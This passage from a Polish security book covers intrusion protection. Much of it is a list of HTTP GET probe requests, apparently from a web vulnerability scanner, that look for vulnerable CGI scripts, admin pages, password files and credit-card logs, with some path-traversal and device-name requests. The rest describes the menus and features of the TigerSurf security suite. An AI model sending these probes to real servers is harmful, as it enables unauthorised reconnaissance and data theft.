GET /scripts/iisadmin/samples/viewbook.htx HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/samples/viewbook.idc HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/tools/ct.htx HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/tools/ctss.idc HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/tools/dsnform.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/tools/getdrvrs.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/tools/mkilog.exe HTTP/1.0 & vbCrLf & vbCrLf
218
Hack Wars. Tom 2. Na tropie hakerów
218
GET /scripts/iisadmin/tools/newdsn.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /IISADMPWD/achg.htr HTTP/1.0 & vbCrLf & vbCrLf
GET /IISADMPWD/aexp.htr HTTP/1.0 & vbCrLf & vbCrLf
GET /IISADMPWD/aexp2.htr HTTP/1.0 & vbCrLf & vbCrLf
GET /IISADMPWD/aexp2b.htr HTTP/1.0 & vbCrLf & vbCrLf
GET /IISADMPWD/aexp3.htr HTTP/1.0 & vbCrLf & vbCrLf
GET /IISADMPWD/aexp4.htr HTTP/1.0 & vbCrLf & vbCrLf
GET /IISADMPWD/aexp4b.htr HTTP/1.0 & vbCrLf & vbCrLf
GET /IISADMPWD/anot.htr HTTP/1.0 & vbCrLf & vbCrLf
GET /IISADMPWD/anot3.htr HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/writeto.cnf HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/svcacl.cnf HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/services.cnf HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/service.stp HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/service.cnf HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/access.cnf HTTP/1.0 & vbCrLf & vbCrLf
GET /_private/registrations.txt HTTP/1.0 & vbCrLf & vbCrLf
GET /_private/registrations.htm HTTP/1.0 & vbCrLf & vbCrLf
GET /_private/register.txt HTTP/1.0 & vbCrLf & vbCrLf
GET /_private/register.htm HTTP/1.0 & vbCrLf & vbCrLf
GET /_private/orders.txt HTTP/1.0 & vbCrLf & vbCrLf
GET /_private/orders.htm HTTP/1.0 & vbCrLf & vbCrLf
GET /_private/form_results.htm HTTP/1.0 & vbCrLf & vbCrLf
GET /_private/form_results.txt HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_bin/_vti_adm/admin.dll HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/perl? HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/passwd HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/passwd.txt HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/password HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/password.txt HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/ax.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/ax-admin.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/convert.bas HTTP/1.0 & vbCrLf & vbCrLf
GET /session/admnlogin HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/cachemgr.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/query HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/rpm_query HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/dbmlparser.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/flexform.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/responder.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/imagemap.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /search HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/ HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/ HTTP/1.0 & vbCrLf & vbCrLf
GET http://www.sux.com/ HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/cfmlsyntaxcheck.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/snippets/fileexist.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfappman/index.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/cpshost.dll HTTP/1.0 & vbCrLf & vbCrLf
GET /samples/search/queryhit.htm HTTP/1.0 & vbCrLf & vbCrLf
GET /msadc/msadcs.dll HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/proxy/w3proxy.dll HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/MachineInfo HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/lwgate HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/lwgate.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/LWGate HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/LWGate.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/nlog-smb.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/icat HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/axs.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /publisher/ HTTP/1.0 & vbCrLf & vbCrLf
Rozdział 2.
♦
♦
♦
♦
Mechanizmy ochrony przed włamaniami
219
219
GET /cgi-bin/mlog.phtml HTTP/1.0 & vbCrLf & vbCrLf
GET /ssi/envout.bat HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/archie HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/bb-hist.sh HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/nph-error.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/post_query HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/ppdscgi.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/webmap.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/tools/getdrvs.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/upload.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/pu3.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /WebShop/logs/cc.txt HTTP/1.0 & vbCrLf & vbCrLf
GET /WebShop/templates/cc.txt HTTP/1.0 & vbCrLf & vbCrLf
GET /quikstore.cfg HTTP/1.0 & vbCrLf & vbCrLf
GET /PDG_Cart/shopper.conf HTTP/1.0 & vbCrLf & vbCrLf
GET /PDG_Cart/order.log HTTP/1.0 & vbCrLf & vbCrLf
GET /pw/storemgr.pw HTTP/1.0 & vbCrLf & vbCrLf
GET /iissamples/iissamples/query.asp HTTP/1.0 & vbCrLf & vbCrLf
GET /iissamples/exair/search/advsearch.asp HTTP/1.0 & vbCrLf & vbCrLf
GET /iisadmpwd/aexp2.htr HTTP/1.0 & vbCrLf & vbCrLf
GET /adsamples/config/site.csc HTTP/1.0 & vbCrLf & vbCrLf
GET /doc HTTP/1.0 & vbCrLf & vbCrLf
GET /.html/............../config.sys HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/add_ftp.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/architext_query.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/w3-msql/ HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/bigconf.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/get.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/alibaba.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/tst.bat HTTP/1.0 & vbCrLf & vbCrLf
GET /status HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/search.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/samples/search/webhits.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /aux HTTP/1.0 & vbCrLf & vbCrLf
GET /com1 HTTP/1.0 & vbCrLf & vbCrLf
GET /com2 HTTP/1.0 & vbCrLf & vbCrLf
GET /com3 HTTP/1.0 & vbCrLf & vbCrLf
GET /lpt HTTP/1.0 & vbCrLf & vbCrLf
GET /con HTTP/1.0 & vbCrLf & vbCrLf
GET /ss.cfg HTTP/1.0 & vbCrLf & vbCrLf
GET /ncl_items.html HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/submit.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /adminlogin?RCpage=/sysadmin/index.stm HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/srchadm/admin.idq HTTP/1.0 & vbCrLf & vbCrLf
GET /samples/search/webhits.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /secure/.htaccess HTTP/1.0 & vbCrLf & vbCrLf
GET /secure/.wwwacl HTTP/1.0 & vbCrLf & vbCrLf
GET /adsamples/config/site.csc HTTP/1.0 & vbCrLf & vbCrLf
GET /officescan/cgi/jdkRqNotify.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /ASPSamp/AdvWorks/equipment/catalog_type.asp HTTP/1.0 & vbCrLf &
vbCrLf
GET /AdvWorks/equipment/catalog_type.asp HTTP/1.0 & vbCrLf & vbCrLf
GET /tools/newdsn.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/ism.dll HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/uploadn.asp HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/uploadx.asp HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/upload.asp HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/repost.asp HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/postinfo.asp HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/default.htm HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/samples/details.idc HTTP/1.0 & vbCrLf & vbCrLf
220
Hack Wars. Tom 2. Na tropie hakerów
220
GET /scripts/samples/ctguestb.idc HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/convert.bas HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/Fpadmcgi.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /samples/isapi/srch.htm HTTP/1.0 & vbCrLf & vbCrLf
GET /index.asp::$DATA HTTP/1.0 & vbCrLf & vbCrLf
GET /main.asp% HTTP/1.0 & vbCrLf & vbCrLf
GET /domlog.nsf HTTP/1.0 & vbCrLf & vbCrLf
GET /log.nsf HTTP/1.0 & vbCrLf & vbCrLf
GET /catalog.nsf HTTP/1.0 & vbCrLf & vbCrLf
GET /names.nsf HTTP/1.0 & vbCrLf & vbCrLf
GET /domcfg.nsf HTTP/1.0 & vbCrLf & vbCrLf
GET /today.nsf HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/pfdispaly.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/input.bat HTTP/1.0 & vbCrLf & vbCrLf
GET /CFIDE/Administrator/startstop.html HTTP/1.0 & vbCrLf & vbCrLf
GET /GetFile.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /../../config.sys HTTP/1.0 & vbCrLf & vbCrLf
GET /orders/import.txt HTTP/1.0 & vbCrLf & vbCrLf
GET /config/import.txt HTTP/1.0 & vbCrLf & vbCrLf
GET /orders/checks.txt HTTP/1.0 & vbCrLf & vbCrLf
GET /config/check.txt HTTP/1.0 & vbCrLf & vbCrLf
GET /webcart/ HTTP/1.0 & vbCrLf & vbCrLf
GET /msadc/samples/adctest.asp HTTP/1.0 & vbCrLf & vbCrLf
GET /admisapi/fpadmin.htm HTTP/1.0 & vbCrLf & vbCrLf
GET /admcgi/contents.htm HTTP/1.0 & vbCrLf & vbCrLf
GET /_private/form_results.txt HTTP/1.0 & vbCrLf & vbCrLf
GET /_private/form_results.htm HTTP/1.0 & vbCrLf & vbCrLf
GET /_private/register.htm HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/service.cnf HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/service.stp HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/services.cnf HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/svcacl.cnf HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/writeto.cnf HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/access.cnf HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_bin/_vti_aut/author.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_bin/_vti_aut/author.dll HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/AnForm2 HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/calendar HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/redirect HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/w3tvars.pm HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/w2-msql HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/wais.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-win/wwwuploader.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/MachineInfo HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/snorkerz.cmd HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/snorkerz.bat HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/dig.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/AT-generate.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /con/con HTTP/1.0 & vbCrLf & vbCrLf
GET /......../ HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-shl/win-c-sample.exe HTTP/1.0 & vbCrLf & vbCrLf
GET ../.. HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/classified.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/download.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET ../../boot.ini HTTP/1.0 & vbCrLf & vbCrLf
GET /default.asp. HTTP/1.0 HTTP/1.0 & vbCrLf & vbCrLf
GET /xxxxxxx.....xxxxxxxxx/ HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/testcgi.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/FormHandler.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/cgitest.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/meta.pl HTTP/1.0 & vbCrLf & vbCrLf
Rozdział 2.
♦
♦
♦
♦
Mechanizmy ochrony przed włamaniami
221
221
GET /cgi-bin/test-cgi.tcl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/day5datacopier.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/test.bat HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/hello.bat HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/webutils.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/tigvote.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-dos/args.cmd HTTP/1.0 & vbCrLf & vbCrLf
GET /neowebscript/test/senvironment.nhtml HTTP/1.0 & vbCrLf & vbCrLf
GET /neowebscript/tests/load_webenv.nhtml HTTP/1.0 & vbCrLf & vbCrLf
GET /neowebscript/tests/mailtest.nhtml HTTP/1.0 & vbCrLf & vbCrLf
GET /WebSTART%LOG HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/webwho.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/htsearch HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/plusmail HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/dig.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/rmp_query HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/search.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/w3-msql HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/tpgnrock HTTP/1.0 & vbCrLf & vbCrLf
GET /manage/cgi/cgiproc HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_bin/_vti_aut/dvwssr.dll HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/cart.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/ultraboard.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/ultraboard.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/cart.exe/cartclientlist HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/cweb.exe/ChangeAdminPassword HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/cweb.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/form.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/message.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi HTTP/1.0 & vbCrLf &
vbCrLf
GET /cgi-bin/.fhp HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/excite HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/getdoc.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/webplus HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/bizdb1-search.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/cart.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/maillist.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/fpexplore.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/whois.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/GW5/GWWEB.EXE HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/search/tidfinder.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/tablebuild.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/displayTC.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/cvsweb/src/usr.bin/rdist/expand.c HTTP/1.0 & vbCrLf &
vbCrLf
GET /cgi-bin/c_download.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/ntitar.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/enter.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/printenv HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/dasp/fm_shell.asp HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/cgiback.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/infosrch.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_bin/_vti_aut/author.dll HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/webbbs.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /config/mountain.cfg HTTP/1.0 & vbCrLf & vbCrLf
GET /orders/mountain.cfg HTTP/1.0 & vbCrLf & vbCrLf
GET /admin.php3 HTTP/1.0 & vbCrLf & vbCrLf
GET /code.php3 HTTP/1.0 & vbCrLf & vbCrLf
GET /bb-dnbd/bb-hist.sh HTTP/1.0 & vbCrLf & vbCrLf
GET /reviews/newpro.cgi HTTP/1.0 & vbCrLf & vbCrLf
222
Hack Wars. Tom 2. Na tropie hakerów
222
GET /eatme.idc HTTP/1.0 & vbCrLf & vbCrLf
GET /eatme.ida HTTP/1.0 & vbCrLf & vbCrLf
GET /eatme.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /eatme.idq HTTP/1.0 & vbCrLf & vbCrLf
GET /eatme.idw HTTP/1.0 & vbCrLf & vbCrLf
GET /status.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /PSUser/PSCOErrPage.htm HTTP/1.0 & vbCrLf & vbCrLf
GET /log HTTP/1.0 & vbCrLf & vbCrLf
GET /stats HTTP/1.0 & vbCrLf & vbCrLf
GET /piranha/secure/passwd.php3 HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/sojourn.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/ews HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/dfire.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/spin_client.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/echo.bat HTTP/1.0 & vbCrLf & vbCrLf
343
Dodatek A
Oprogramowanie
zabezpieczające
W tym załączniku przedstawiony jest TigerSurf, zestaw narzędzi zabezpieczających,
który zarówno użytkownicy domowi, jak i biznesowi mogą wykorzystać jako część
pełnego zbioru do zabezpieczenia połączeń internetowych.
Oprogramowanie zabezpieczające to dowolny program, który pomaga zabezpieczyć,
uchronić i monitorować komputery przed atakami hakerów. Takie oprogramowanie
obejmuje narzędzia, demony usług i moduły pracujące w tle, które mogą być zaimple-
mentowane jako część procedury zapewniania bezpieczeństwa.
TigerSurf
Coraz popularniejszy staje się destrukcyjny kod umieszczony na standardowych stronach
internetowych. Zwyczajne przeglądanie takiej strony może na przykład spowodować
załadowanie wirusa, a jeśli Twój system nie jest wystarczająco zabezpieczony przez
standardowe oprogramowanie antywirusowe, Twoje programy lub dane znajdą się
w niebezpieczeństwie. Innym przykładem są witryny internetowe, które „wymuszają”
strony, wyświetlając ogromną liczbę ekranów. Jest to w najlepszym razie denerwujące,
a w najgorszym szkodliwe.
W odpowiedzi na te i inne rodzaje ataków powstał TigerSurf, oparty o bezpieczny
moduł przeglądarki internetowej, zaprojektowany do ochrony systemu. Ten zestaw
narzędzi zapewnia ochronę przed destrukcyjnymi stronami internetowymi, przepeł-
nieniem przeglądarki (nigdy więcej wyskakujących ekranów!) oraz zdalnymi końmi
trojańskimi.
TigerSurf zawiera także bezpieczny, wielostrumieniowy mechanizm przeszukiwania
Internetu, który przy użyciu słów kluczowych „przepytuje” wiele najważniejszych
wyszukiwarek. Dzięki niemu wystarczy wybrać odpowiednią zakładkę, aby zobaczyć
344
Hack Wars. Tom 2. Na tropie hakerów
344
otrzymane wyniki — nie ma potrzeby wielokrotnego przeszukiwania Sieci. TigerSurf
obsługuje wszystkie wtyczki Microsoft Internet Explorera oraz własne filtry użyt-
kownika, a także jest kompatybilny ze wszystkimi internetowymi językami progra-
mowania. Inne funkcje (opisane w kolejnych częściach) obejmują:
edytor HTML,
TigerWatch,
TigerBlock,
skanowanie zabezpieczeń,
TigerSearch,
TigerTrack,
FTP,
Telnet,
przechwytywanie ekranu,
przeglądarkę zdjęć.
Przed instalacją programu TigerSurf (dostępnego na CD-ROM-ie dołączonym do tej
książki) należy dokonać aktualizacji Internet Explorera do wersji 5x lub nowszej.
Ogólne działanie
Po uruchomieniu TigerSurf program poprosi o wprowadzenie hasła logowania do
bezpiecznej przeglądarki, które domyślnie ma wartość TIGER (pisane dużymi literami
w tej wersji), jak pokazano to na rysunku A.1. W tym momencie przeglądarka TigerSurf
uruchomi się jako nakładka Explorera i przejdzie na stronę www.TigerTools.net, gdzie
możesz uzyskać informacje o aktualizacji TigerSurf oraz o modyfikacji wersji (patrz
rysunek A.2).
Dodatek A
♦
♦
♦
♦
Oprogramowanie zabezpieczające
345
345
Rysunek A.1.
Ekran logowania
do bezpiecznej
przeglądarki
TigerSurf
Rysunek A.2.
Główny moduł
TigerSurf
Menu File, umieszczone na górze przeglądarki, obsługuje poniższe opcje (patrz rysu-
nek A.3).
Rysunek A.3.
Opcje menu File
w TigerSurfie
346
Hack Wars. Tom 2. Na tropie hakerów
346
New browser window — otwiera nowe okno Explorera do standardowego
przeglądania sieci.
Open — otwiera do przeglądania stronę internetową z dysku twardego,
dyskietki lub płyty CD.
Save As — zapisuje na dysku twardym lub dyskietce obecną stronę jako plik
strony internetowej.
Printer Setup — konfiguruje aktualne ustawienia drukarki.
Print current page — drukuje aktualną stronę przy użyciu obecnych ustawień
drukarki.
Exit and unload — zamyka TigerSurf.
Znajdujące się na górze przeglądarki menu Edit udostępnia poniższe opcje (patrz ry-
sunek A.4).
Rysunek A.4.
Opcje menu Edit
w TigerSurfie
Cut — wycina wybrany tekst do schowka Windows.
Copy — kopiuje wybrany tekst do schowka Windows.
Paste — wkleja (wycięty lub skopiowany) tekst ze schowka Windows.
HTML Editor — ładuje edytor HTML TigerSurf.
Ze znajdującego się na górze przeglądarki menu View można wybrać niżej wymie-
nione opcje (patrz rysunek A.5).
Rysunek A.5.
Opcje menu View
w TigerSurfie
Go to — przechodzi do poprzedniej strony, następnej strony, strony domowej
lub ładuje TigerSearch.
Stop — przerywa pobieranie aktualnej strony internetowej.
Refresh — przeładowuje aktualną stronę internetową.
Source — wyświetla kod źródłowy aktualnej strony internetowej.
W znajdującym się na górze przeglądarki Personal Links dostępne są poniższe opcje
(patrz rysunek A.6).
Dodatek A
♦
♦
♦
♦
Oprogramowanie zabezpieczające
347
347
Rysunek A.6.
Opcje menu Personal
Links w TigerSurf
Add current page to personal links — dodaje aktualną stronę internetową
do Ulubione.
View personal links — wyświetla bazę danych ulubionych odnośników, w której
możesz kliknąć wybrany adres.
Ze znajdującego się na górze przeglądarki menu Options można wybrać niżej wymie-
nione opcje (patrz rysunek A.7).
Rysunek A.7.
Opcje menu Options
w TigerSurf
Change Homepage — zmienia obecną stronę domową TigerTools na inną.
Internet Properties — wyświetla zaawansowane opcje internetowe (patrz
rysunek A.8).
Rysunek A.8.
Moduł Advanced
Internet Options
Security Properties — wyświetla własne ustawienia TigerWatch, włącza
i wyłącza TigerBlock, a także uruchamia osobisty skaner zabezpieczeń.
Obok paska narzędzi TigerSurf znajduje się menu Secure E-mail (bezpieczna poczta
elektroniczna), ale ta opcja nie jest dostępna w tej wersji. Kolejne menu to menu Tools,
w którym znajdują się poniższe opcje (patrz rysunek A.9).
348
Hack Wars. Tom 2. Na tropie hakerów
348
Rysunek A.9.
Opcje menu Tools
w TigerSurf
TigerSearch the Internet — ładuje TigerSearch jako osobny moduł.
TigerTrack the market — ładuje TigerTrack jako osobny moduł.
Secure FTP — ładuje program klienta FTP TigerSurf.
Secure telnet — ładuje program klienta Telnetu TigerSurf.
Screen Capture — ładuje narzędzie do robienia zrzutów ekranowych
TigerSurf.
Security Scan — wykonuje skanowanie zabezpieczeń systemu.
TigerHTML — ładuje edytor HTML TigerSurf.
TigerTalk — moduł pogawędki w czasie rzeczywistym nie jest dostępny
w tej wersji.
Za pomocą umieszczonego na górze przeglądarki menu Security możesz dopasować
ustawienia TigerWatcha, włączyć i wyłączyć TigerBlock, a także wykonać skanowa-
nie zabezpieczeń systemu. Umieszczone obok menu Help umożliwia wyszukanie ak-
tualizacji programu, nawigację do strony domowej TigerTools.net, a także przejrzenie
aktualnych list wirusów i koni trojańskich (patrz rysunek A.10).
Rysunek A.10.
Opcje menu Help
w TigerSurf
Pasek narzędzi TigerSurfa zawiera również przyciski szybkiego uruchamiania opisa-
nych elementów menu. Te przyciski są położone po prawej stronie paska narzędzi
(patrz rysunek A.11). Mają one następujące funkcje (od lewej do prawej):
Rysunek A.11.
Przyciski szybkiego
uruchamiania
w programie TigerSurf
włączanie i wyłączanie bezpiecznego surfowania z blokowaniem złośliwego
kodu; ta funkcja jest domyślnie nieaktywna, aby umożliwić wyświetlanie
okienek wyskakujących i reklam, ale zaleca się jej włączenie;
ładowanie TigerTrack;
Dodatek A
♦
♦
♦
♦
Oprogramowanie zabezpieczające
349
349
ładowanie klienta FTP;
ładowanie klienta Telnetu;
tworzenie zrzutu ekranu;
ładowanie przeglądarki zdjęć;
ładowanie edytora TigerHTML;
uruchamianie TigerTalk (niedostępne w tej wersji);
uruchamianie bezpiecznej poczty elektronicznej (niedostępne w tej wersji).
Opis funkcji
Edytor HTML
Dzięki edytorowi HTML (patrz rysunek A.12) możesz szybko utworzyć stronę interneto-
wą przy użyciu prostego interfejsu. Program pozwala na dołączenie obrazków, utworzenie
akapitów, odnośników, formularzy oraz wykorzystanie następujących znaczników:
Rysunek A.12.
Edytor TigerHTML
Html
,
Body
,
Head
,
Align
,
Bullet
,
Table
,
Title
.
TigerWatch
TigerWatch (patrz rysunek A.13) to narzędzie do podglądania i blokowania portów do
własnego użytku. TigerWatch jest zaawansowaną wersją TigerGuard (opisanego w roz-
350
Hack Wars. Tom 2. Na tropie hakerów
350
dziale 1.) i zapewnia ochronę przed większością znanych i nieznanych koni trojańskich.
Program pozwala na dodanie własnych portów do zasad zabezpieczania TigerSurf.
Możesz także tworzyć, ładować i zapisywać listy własnych zasad do późniejszego
wykorzystania. W obecnej wersji demon zapisuje, blokuje i alarmuje o zdalnych ata-
kach hakerów, odnoszących się do utworzonych zasad. Aby szybko rozpocząć zabez-
pieczanie, możesz wstępnie załadować standardową i domyślną listę zasad. TigerWa-
tch akceptuje domyślnie do 500 własnych zasad zabezpieczeń.
Rysunek A.13.
Utwórz w TigerWatch
własne zasady
zabezpieczeń
TigerWatch nie został zaprojektowany do samodzielnej pracy bez osobistego systemu fi-
rewalla (przykłady takich firewalli zostały wcześniej przedstawione w tej książce). Ti-
gerWatch ma być dodatkowym środkiem ochronnym, zabezpieczając przed lokalnymi
lub zdalnymi atakami hakerów.
TigerBlock
TigerBlock jest systemem kontroli przeglądanych stron internetowych, który może
być używany przez rodziców lub innych dorosłych opiekunów. Używając TigerBlock,
można zabronić przeglądarce wyświetlania niektórych stron, na przykład witryn tylko
